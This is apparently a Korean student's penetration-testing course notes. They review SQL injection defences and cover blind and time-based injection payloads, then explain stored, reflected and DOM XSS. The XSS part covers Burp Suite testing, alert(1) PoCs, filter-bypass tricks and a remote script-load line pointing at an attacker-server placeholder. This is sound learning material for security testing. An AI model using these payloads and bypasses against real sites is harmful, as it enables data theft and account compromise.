[5주차] 4주차 복습, XSS (Stored XSS, Reflected XSS, DOM XSS)

** 해킹 공격 기법

① 왜 일어나는지 (원리)

② 공격으로 무엇을 할 수 있는지 (위험)

③ 어떻게 막는지 (대응방안)

이 3가지를 중점적으로 정리한다

 

SQL Injection

① 왜 일어나는지 (원리)

Client 측의 데이터를 SQL문에 그대로 사용하기 때문

 

② 공격으로 무엇을 할 수 있는지 (위험)

> 인증 우회

> 데이터 추출

(DB와 관련된 서비스를 바꾼다)

> 파일 업로드 

 

③ 어떻게 막는지 (대응방안)

1. Prepared Statement (변수 바인딩)

 

2. 필터링

변수 바인딩이 안 되는 곳

> 정렬 부분 (order by), table 이름, column 이름

 

① 화이트 리스트 기반 필터링

> 특정 단어만 들어오게 한다

 

예를 들어

sort = desc (사용자에게 입력받는 부분)
sql = "order by title " . $sort;

 

화이트 리스트 기반

if (sort="asc") :
    sql = "order by title asc"
  else :
    sql = "order by title desc"

 

여기서 asc, desc 외에 값이 들어가지 않는다

 

> 인덱스 방식이라고도 한다

> 우회가 될 가능성이 전혀 없고 안전하다

> 검색기능에 화이트 리스트 기반 필터링을 사용할 수 없다

 

② 블랙 리스트 기반 필터링

> 특정 단어(ex. select, union, and)를 못 들어오게 한다

> 사용자에게 불편을 주기도 한다

> 블랙 리스트 기반 필터링을 할 때는 조건을 까다롭게 한다

> 우회가 가능할 "수"도 있다

 

3. 무조건 에러 페이지가 나오지 않게 한다

 

* Blind SQL Injection

예를 들어

sotingAd = , (case when ascii(substr((select user from dual),1,1))=0 then 1 else (1/0) end)

한 글자씩 추출하는 코드

 

sotingAd = , (case when 1=1 then 1 else (1/0) end)

 

asc,desc이 order by title에 들어갈 때 sotingAd = ,1 넣어보고 sotingAd = ,99999999 를 넣어본다

> SQL Injection이 일어나는지 판단하기 위해. 내가 입력한 값이 SQL 쿼리문에 그대로 사용 되는지 check

> 화이트리스트 필터링의 경우 적용되지 않는다

 

▷ sotingAd = ,1

order by title,1 (첫번째 컬럼으로 정렬) -> 정상적인 결과

 

▷ sotingAd = ,9999999999999

order by title,9999999999999 -> error, 다른 결과가 나오면 입력이 들어간다는 뜻이므로, SQL Injection 시도

 

▷ 조건문을 넣어본다

order by 절에서 조건문 넣는 방법 (case when)

// case when (조건) then (참일 때) else (거짓일 때) end
sotingAd = , (case when 1=1 then 1 else (1/0) end)

 

또는

sotingAd = , (case when 1=1 then 1 else 9999999999999 end)
// 참일 때

sotingAd = , (case when 1=2 then 1 else 9999999999999 end)
// 거짓일 때

결과가 다르게 나온다

 

그런데 case when일때 결과가

order by title,'1' 혹은 order by title,'9999999999999'

와 같이 처리되는 경향이 있다.

 

sotingAd = , (case when 1=1 then 1 else (1/0) end)

 

이렇게 (1/0)과 같은 에러 유발 코드를 작성하는 것이 좋다

 

* Time Based SQL Injection

실무에서는 잘 안 쓰이지만 알면 좋은거 (속도가 느리고 다량의 데이터를 추출해내지 못한다)

> 응답시간을 이용하는 SQL Injection

ex)

sotingAd=ASC;if substring((select user name()),1,1)='a' waitfor delay '0:0:1'
// 참일 때는 waitfor delay '0:0:1' : 1초간 기다리고, 거짓일 때는 바로 응답한다.

 

 

** XSS (Cross-site Script, 실무에서는 크사)

> Client 측에서 실행되는 스크립트를 삽입하는 공격

> 컴퓨터의 웹 브라우저에서 실행되는 공격

> 서버의 이용자를 공격한다

> "우리들의 영원한 친구" → 어디에나 있다

 

** POC (Proof Of Concept, 증명용 코드)

취약하다는 것을 증명한다

> alert(1)

> prompt(1)

 

* 취약점 발생 이유

> 공격자의 입력(파라미터)이 그대로 서버에 응답되기 때문

 

* 발생 가능 위치

> 사용자의 입력이 응답에 포함되는 모든 곳

> 적어도 내가 입력한 글자가 서버의 응답에 포함되는 곳에서 발생할 수 있다

 

** 스크립트 삽입 전략

① 서버에 저장하자 (Stored XSS)

② 서버에서 반사시키자 (Reflected XSS)

③ 웹 브라우저에서 조립하자 (DOM Based XSS)

 

** Stored XSS

> 스크립트를 서버에 저장시킨다

> 사용자가 페이지를 요청한다

> 내가 삽입했던 스크립트를 응답에 포함시켜 실행되도록 한다

→ 게시판, 아이디, 닉네임, 댓글 등등에 적용 가능

 

** Reflected XSS

> 검색창 또는 입력한 데이터가 응답에 삽입되는 경우

> 대부분의 XSS가 Reflected XSS일 가능성이 크다

> Burp Suite를 이용해서 찾는다

→ Repeater 사용해 스크립트를 삽입할 수 있는지 check

→ 우클릭. copy url 하고 실행시켜보기

> 상대방이 링크를 클릭하도록 (상대방이 요청을 보내도록) 하는 것

→ 피싱공격이기 때문에 URL로 만들어야한다

→ 보통 shortURL 사용

> POST 방식이라면 GET 메서드로 바꿔보고 스크립트 삽입이 되는지 TEST

 

* Stored XSS와 Reflected XSS의 차이점

① Stored XSS

> 한 번 저장하면 계속 실행된다

> 광역기. 들어오는 사용자에게 모든 사용자에게 실행된다

> 서버에 흔적이 남는다

 

② Reflected XSS

> 타겟팅 공격이 가능하다

> 사회공학기법(SE, Social Engineering)의 성격

 

위험도 : Stored XSS > Reflected XSS

 

** 취약점 찾는 방법

① Stored XSS

 

Step 1. Check

삽입한 내 글자가 출력되는지 확인

 

Step 2. 특수문자 사용 체크 <' ">

ex) normaltic<'">

> 알아볼 수 있는 키워드 뒤에 스크립트 특수문자를 사용해서 Burp Suite으로 응답값을 확인해본다

> 내가 사용할 수 있는 특수문자가 무엇인지 확인

 

Step 3. POC 코드 삽입

사용할 수 있는 특수문자로 POC 코드를 만들어 삽입

예를 들어

normaltic<script>alert(1);</script>

 

스크립트 코드 삽입은 WAF (Web Application Firewall, 웹 방화벽)에서 웬만하면 다 막는다. 이럴 경우

normaltic<img src=x onerror="alert(1);"

 

처럼 다른 태그를 사용한다

 

> 일부러 src = x를 입력해 404에러를 유발시키고, onerror 라는 Event Handler를 사용한 것

> 에러가 발생하면 alert(1);을 실행

<script>alert(1);</script>
안 되면
<script>prompt(1);</script>
을 사용해보기

 

② Reflected XSS

 

> Stored XSS와 똑같은 방식으로 취약점을 찾는다

> Stored XSS는 입력한 곳가 출력한 곳이 다르지만 Reflected XSS는 입력한 곳과 출력한 페이지가 같기 때문에 Burp Suite의 Repeater를 사용하는게 편하다

→ copy url

→ 이 링크를 이용해서 보고서 작성

 

** 파라미터가 있는 곳은 언제나 XSS 테스트를 해야한다

 

** DOM Based XSS

> 실제 모의해킹에서 찾기 쉽지 않다

> 내가 입력한 데이터가 화면에 보여야한다

→ 동적으로 생성되는 요소

> 원리를 보고 스크립트 삽입

→ url로 만들고 사회공학 기법을 적용해야한다

→ 서버에서는 나오지 않는다

 

** XSS Bypass 전략

필터링(블랙 리스트 기반)이 안 좋은 이유

> 특정 문자를 사용하지 못함

 

자주 나오는 필터링 우회

① Client Side 검증 우회

필터링은 반드시 Server 측에서 이뤄져야한다.

이러한 Client Side 검증은 Burp Suite로 우회할 수 있다

Client 측에서는 절대로 검증해서는 안 된다

 

② Script Load

예를 들어 파라미터를 50글자만 받을경우 원격으로 Script를 Load 할 수 있다

<script src='공격자 서버/attack.js'></script>

 

③ 대소문자 혼용

ex)

<ScRiPt>

 

alert()가 필터링 되면 AlErt(1) 처럼 사용

 

④ 필터링 되는 문자 반복

<script> 응답이 <> 이런 식으로 오면?

<scrscriptipt> → script 제거 → <script>

 

⑤ Event Handler

<img src = x onerror = "">

onerror라는 event Handler를 필터링 하고 있을 경우

 

<img src = x oneronerrorror = "">

우회 시도

 

이것도 안 되면 다른 Event Handler 사용한다

ex)

<img src = x onmouserover = "">

마우스를 올렸을 때 실행되는 코드

 

자주 사용되는 Event Handler

- onerror

- onactivate

- onload

- onmouseover

 

자주 사용되는 태그

- div

- object

- svg

- audio

 

** 예상 외로 발견되는 포인트

<> 를 안 넣어도 되는 곳 (<script>태그 안에서 삽입되는 경우)

ex)

Parameter = normaltic
<script>
~~~
    var a = 'normaltic';
~~~
</script>

 

Parameter = normaltic';alert(1); (원하는 스크립트 코드)
<script>
~~~
    var a = 'normaltic';alert(1);';
~~~
</script>

 

* XSS는 Client 측에서 실행되는 코드를 삽입하는 공격이므로 JavaScript 코드 뿐만 아니라 HTML, CSS코드도 입력할 수 있다. (ex. HTML overwrite)

 

공격 시나리오 적용해서 보고서를 작성하면 퀄리티 ↑